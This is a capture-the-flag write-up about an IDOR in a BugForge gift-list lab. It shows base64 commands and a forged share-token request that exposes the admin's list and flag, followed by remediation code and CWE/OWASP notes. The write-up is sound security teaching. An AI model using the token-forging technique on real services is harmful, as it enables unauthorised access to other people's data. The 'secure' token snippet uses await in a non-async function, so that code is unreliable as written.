Gift Lab: IDOR via Predictable Share Token
Overview
- Platform: BugForge
- Vulnerability: IDOR via Predictable Share Token
- Key Technique: Reverse-engineering base64-encoded share tokens to access arbitrary gift lists without authentication
- Result: Accessed admin’s gift list and captured flag by constructing a share token for list ID 1
Objective
Capture the flag hidden within the application.
Initial Access
# Target Application
URL: https://lab-1774557887132-96jwoz.labs-app.bugforge.io
# Auth details
Registered account: haxor (user ID 2)
Login via POST /login -> JWT cookie (HS256)
Key Findings
-
IDOR via Predictable Share Token (CWE-639) — Share tokens are deterministic base64 encodings of
listWithId-{id}. Any user’s gift list can be accessed unauthenticated by constructing the token with the target list ID. -
Missing CSRF Protection (CWE-352) — No CSRF tokens on any POST forms (list creation, item add/delete, sharing). Not exploited but noted.
-
Server Technology Disclosure (CWE-200) —
X-Powered-By: Expressheader leaked in responses.
Attack Chain Visualization
┌──────────────┐ ┌──────────────────┐ ┌───────────────────┐
│ Register & │───>│ Create list & │───>│ Generate share │
│ Login │ │ observe app │ │ link for own list │
└──────────────┘ └──────────────────┘ └─────────┬─────────┘
│
v
┌───────────────────┐
│ Decode share token │
│ bGlzdFdpdGhJZC0= │
│ Mg== -> "listWith │
│ Id-" + "2" │
└─────────┬─────────┘
│
v
┌───────────────────┐
│ Construct token │
│ for list ID 1: │
│ base64("listWith │
│ Id-1") = │
│ bGlzdFdpdGhJZC0x │
└─────────┬─────────┘
│
v
┌───────────────────┐
│ GET /share/bGlzd │
│ FdpdGhJZC0x │
│ -> 200 OK │
│ -> Admin's list │
│ -> FLAG captured │
└───────────────────┘
Application Architecture
| Component | Path | Description |
|---|---|---|
| Registration | POST /register | Create account (username, password, confirmPassword) |
| Authentication | POST /login | JWT (HS256) set in token cookie (HttpOnly, SameSite=Lax) |
| Dashboard | GET /dashboard | View and create gift lists |
| List View | GET /list/:id | View list items (authenticated) |
| Share Link | POST /lists/:id/share | Generate base64-encoded share token |
| Public Share | GET /share/:token | View shared list (unauthenticated) |
| Mark Bought | POST /share/:token/items/:id/bought | Mark item as bought (unauthenticated) |
Exploitation Path
Step 1: Reconnaissance & Token Analysis
After registering and creating a gift list, used the share feature to generate a share link. The app produced the URL:
/share/bGlzdFdpdGhJZC0=Mg==
Decoded the token and noticed it was two concatenated base64 segments:
# App-generated token (double base64 segments)
echo "bGlzdFdpdGhJZC0=" | base64 -d
# Output: listWithId-
echo "Mg==" | base64 -d
# Output: 2
The token format is base64("listWithId-") + base64("{id}") — the list ID is directly embedded.
Step 2: Token Construction for Target List
Since admin is user ID 1 and likely has list ID 1, constructed a share token using single base64 encoding of the full string:
echo -n "listWithId-1" | base64
# Output: bGlzdFdpdGhJZC0x
Step 3: Accessing Admin’s List
Requested the constructed share URL:
GET /share/bGlzdFdpdGhJZC0x HTTP/1.1
Host: lab-1774557887132-96jwoz.labs-app.bugforge.io
Response: 200 OK — returned admin’s “Admin B-day” gift list with all items, notes, store URLs, and priorities exposed.
Step 4: Flag Capture
The admin’s list contained the flag as item 3:
bug{54LhkizQ0VroHdO7ApOoGQvhsD3IooD2}
Flag / Objective Achieved
bug{54LhkizQ0VroHdO7ApOoGQvhsD3IooD2}
Key Learnings
- Token encoding != token security. Base64 is encoding, not encryption. Share tokens built from predictable data (sequential IDs + known prefix) are trivially forgeable.
- Server-side vs client-side encoding mismatch. The app generated tokens by concatenating two separate base64 segments (
base64(prefix) + base64(id)), but the server decoded the entire string as a single base64 value. The single-encode format worked; the app’s own double-encode format returned 404. This inconsistency itself is a signal worth investigating. - Unauthenticated endpoints are high-value targets. The
/share/:tokenendpoint required no authentication, making the predictable token the only access control — and it was broken.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Double-encode token format (bGlzdFdpdGhJZC0=MQ==) |
404 Not Found | Server decodes entire token as single base64 string, not two concatenated segments |
Tools Used
| Tool | Purpose |
|---|---|
| Browser (Firefox) | Application interaction, share link generation |
| base64 (CLI) | Token decoding and construction |
| curl / Browser DevTools | HTTP request analysis and testing |
Remediation
1. Predictable Share Token — IDOR (CVSS: 7.5 - High)
Issue: Share tokens are deterministic base64 encodings of listWithId-{id}, allowing any list to be accessed by constructing the token with the target ID.
CWE Reference: CWE-639 - Authorization Bypass Through User-Controlled Key
Fix:
// BEFORE (Vulnerable)
function generateShareToken(listId) {
return Buffer.from(`listWithId-${listId}`).toString('base64');
}
// AFTER (Secure)
const crypto = require('crypto');
function generateShareToken(listId) {
const token = crypto.randomUUID(); // or crypto.randomBytes(32).toString('hex')
// Store mapping: token -> listId in database
await db.query('UPDATE lists SET share_token = ? WHERE id = ?', [token, listId]);
return token;
}
2. Missing CSRF Protection (CVSS: 4.3 - Medium)
Issue: No CSRF tokens on any POST forms. State-changing operations (create list, add/delete items, generate share links) are vulnerable to cross-site request forgery.
CWE Reference: CWE-352 - Cross-Site Request Forgery
Fix:
// BEFORE (Vulnerable)
app.post('/lists', requireAuth, (req, res) => {
// No CSRF validation
createList(req.body.new_list, req.user.id);
});
// AFTER (Secure)
const csrf = require('csurf');
app.use(csrf({ cookie: true }));
app.post('/lists', requireAuth, (req, res) => {
// CSRF token validated automatically by middleware
createList(req.body.new_list, req.user.id);
});
3. Server Technology Disclosure (CVSS: 2.1 - Low)
Issue: X-Powered-By: Express header reveals server framework.
CWE Reference: CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
Fix:
// Add to Express app initialization
app.disable('x-powered-by');
// Or use Helmet
const helmet = require('helmet');
app.use(helmet());
OWASP Top 10 Coverage
- A01:2021 - Broken Access Control — IDOR via predictable share tokens allowing unauthenticated access to any user’s gift list
- A04:2021 - Insecure Design — Share token scheme uses encoding (base64) instead of cryptographic randomness
- A05:2021 - Security Misconfiguration — X-Powered-By header disclosure, missing CSRF protection
References
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-352: Cross-Site Request Forgery
- OWASP IDOR Prevention Cheat Sheet
- OWASP Testing Guide: IDOR
Tags: #idor #broken-access-control #base64 #share-token #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-03-26